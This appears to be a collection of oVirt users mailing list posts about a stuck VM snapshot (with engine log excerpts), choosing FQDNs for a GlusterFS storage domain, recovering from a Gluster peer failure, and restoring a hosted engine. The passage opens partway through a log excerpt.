GetHostJobsVDSCommandParameters:{hostId='15d9a919-63d5-4673-95d2-e84662ef0852', 
type='virt', jobIds='[6e73cda8-85d0-471c-b090-4c89719a97f4]'}), log id: 515c7e0d
2022-08-05 09:10:05,466+02 INFO 
[org.ovirt.engine.core.vdsbroker.vdsbroker.GetHostJobsVDSCommand] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-35) 
[8ff04bca-b5a2-4ba3-8925-1037c5a2850e] FINISH, GetHostJobsVDSCommand, return: 
{6e73cda8-85d0-471c-b090-4c89719a97f4=HostJobInfo:{id='6e73cda8-85d0-471c-b090-4c89719a97f4',
 type='virt', description='snapshot_vm', status='running', progress='null', 
error='null'}}, log id: 515c7e0d
2022-08-05 09:10:05,466+02 INFO [org.ovirt.engine.core.bll.VirtJobCallback] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-35) 
[8ff04bca-b5a2-4ba3-8925-1037c5a2850e] Command CreateLiveSnapshotForVm id: 
'2f94c337-487e-40f7-b8f8-df69225d5c79': waiting for job 
'6e73cda8-85d0-471c-b090-4c89719a97f4' on host 'ovirt3.corp.sldev.cz' (id: 
'15d9a919-63d5-4673-95d2-e84662ef0852') to complete

any idea what should I  check ?


thank you for any help.


Jirka
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[ovirt-users] VM snapshot stuck

[Jirka Simon]

Hello Ovirt folks,

last two days we have troubles with stuck snapshot task on some vms. and 
VM is frozen and unresponsible.


task progress is still null

I can unlock it with command unlock_entity.sh but VM stays frozen.  and 
VM has to be  force powered down and started again


in engine log i can see only  that master job is waiting for an other job.

oVirt  Version 4.4.10.7-1.el8

OS Rocky Linux 8.6
last full update was last week on Thurstday

Log:
2022-08-05 09:10:05,461+02 INFO 
[org.ovirt.engine.core.bll.SerialChildCommandsExecutionCallback] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-35) 
[8ff04bca-b5a2-4ba3-8925-1037c5a2850e] Command 'CreateSnapshotForVm' 
(id: '93f98c9c-2936-4615-b12e-c295b90eace0') waiting on child command 
id: '2f94c337-487e-40f7-b8f8-df69225d5c79' 
type:'CreateLiveSnapshotForVm' to complete
2022-08-05 09:10:05,462+02 INFO 
[org.ovirt.engine.core.vdsbroker.vdsbroker.GetHostJobsVDSCommand] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-35) 
[8ff04bca-b5a2-4ba3-8925-1037c5a2850e] START, 
GetHostJobsVDSCommand(HostName = ovirt3.corp.sldev.cz, 
GetHostJobsVDSCommandParameters:{hostId='15d9a919-63d5-4673-95d2-e84662ef0852', 
type='virt', jobIds='[6e73cda8-85d0-471c-b090-4c89719a97f4]'}), log id: 
515c7e0d
2022-08-05 09:10:05,466+02 INFO 
[org.ovirt.engine.core.vdsbroker.vdsbroker.GetHostJobsVDSCommand] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-35) 
[8ff04bca-b5a2-4ba3-8925-1037c5a2850e] FINISH, GetHostJobsVDSCommand, 
return: 
{6e73cda8-85d0-471c-b090-4c89719a97f4=HostJobInfo:{id='6e73cda8-85d0-471c-b090-4c89719a97f4', 
type='virt', description='snapshot_vm', status='running', 
progress='null', error='null'}}, log id: 515c7e0d
2022-08-05 09:10:05,466+02 INFO 
[org.ovirt.engine.core.bll.VirtJobCallback] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-35) 
[8ff04bca-b5a2-4ba3-8925-1037c5a2850e] Command CreateLiveSnapshotForVm 
id: '2f94c337-487e-40f7-b8f8-df69225d5c79': waiting for job 
'6e73cda8-85d0-471c-b090-4c89719a97f4' on host 'ovirt3.corp.sldev.cz' 
(id: '15d9a919-63d5-4673-95d2-e84662ef0852') to complete


any idea what should I  check ?


thank you for any help.


Jirka
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[ovirt-users] Adding a GlusterFS Storage Domain

[simon]

This may seem like a simple question but clarification from the experts would 
be good.

When adding a GlusterFS Storage Domain via the engine, do I use the Gluster 
Storage FQDNs for the Path and backup-volfile-servers mount options

Or

Do I use the ovirt management network FQDNs.

Kind Regards

Simon...
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[ovirt-users] Re: Single Peer in Gluster Cluster Failure caused Storage Domain outage

[simon]

Please delete this thread as it was meant to be an update to the original 
thread which I've updated separately now.
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[ovirt-users] Re: Single Peer in Gluster Cluster Failure caused Storage Domain outage

[simon]

Typo sorry - the server would only boot into 'emergency' mode and not 
'maintenance' mode.
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[ovirt-users] Re: Single Peer in Gluster Cluster Failure caused Storage Domain outage

[Simon Scott]

Typo - the server would only boot into ‘emergency’ mode.
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[ovirt-users] Single Peer in Gluster Cluster Failure caused Storage Domain outage

[simon]

Hi All,

We have a 3 node HCI cluster with Gluster 2+1 volumes.

The first node had a hardware memory failure which caused file corruption to 
the engine lv and the server would only boot into maintenance mode.

For some reason glusterd wouldn't start and one of the volumes  became 
inaccessible with the Storage domain going offline. This caused multiple VMs to 
go into a paused or shutdown state.
Putting the host into maintenance mode and then shutting it down was done in an 
attempt to allow gluster to continue across 2 nodes (one being the arbiter). 
Unfortunately this didn't work.

The solution was to do the following:
1. Remove the contents of /var/lib/glusterd except for glusterd.info
2. Start glusterd
3. Peer probe one of the other 2 peers
4. Restart glusterd
5. Cross fingers and toes

Although this was a successful outcome I would like to know why losing 1 
gluster peer caused the outage of a single storage domain and therefore outages 
of VMs with disks on that storage domain.

Kind Regards

Simon...
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[ovirt-users] Re: HostedEngine Restore woes

[simon]

Many thanks for your help Didi.

I must've missed the following section you pointed out:

| We do have a section about restoring a backup inside the engine VM,
| assuming that it's still ok - search for "Overwriting a Self-Hosted
| Engine from an Existing Backup".

It worked perfectly thanks.

As for the build of a 3 node environment using Foreman and ansible, it takes 
about 1-2 hours from start to finish.

Kind Regards

Simon...
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